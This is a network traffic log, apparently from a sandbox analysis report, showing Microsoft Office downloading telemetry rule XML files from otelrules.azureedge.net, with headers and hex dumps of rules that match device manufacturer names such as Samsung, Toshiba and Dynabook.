2024-10-30 05:17:02 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:02 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:02 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 128a8aa7-901e-005b-27fd-272005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051702Z-15b8d89586f989rkwt13xern5400000002ug000000009m3s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:03 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:03 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:03 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 892d3b27-201e-005d-7649-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051703Z-16849878b786lft2mu9uftf3y400000008x00000000033x3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:03 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:03 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:03 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 25321125-401e-0047-18d5-288597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051703Z-r197bdfb6b4xfp4mncra29rqkc000000012g000000003erv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:03 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:03 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:03 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:03 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051703Z-16849878b786lft2mu9uftf3y400000008t000000000f5bd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:03 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:03 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:03 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051703Z-15b8d89586fdmfsg1u7xrpfws00000000bx0000000002mgc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:03 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:03 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:03 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: cd3f31c5-e01e-0033-6a5a-274695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051703Z-r197bdfb6b4gx6v9pg74w9f47s00000009m000000000buhn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:03 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:04 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:04 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:04 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: e7cc90bd-401e-0029-032a-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051704Z-15b8d89586fvk4kmbg8pf84y8800000008k00000000029hz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:04 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:04 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:04 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 395fbb66-201e-003f-4179-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051704Z-16849878b78z2wx67pvzz63kdg0000000660000000009bq1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:04 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:04 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:04 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:04 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051704Z-16849878b78p8hrf1se7fucxk800000008e000000000b8by x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:04 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:04 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:04 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: a783173c-501e-008c-2349-27cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051704Z-15b8d89586f42m673h1quuee4s0000000bq00000000068fp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:04 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:04 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:04 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0ce3105a-501e-0029-7cd2-26d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051704Z-16849878b78fssff8btnns3b1400000007t000000000hrv6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:04 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:05 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
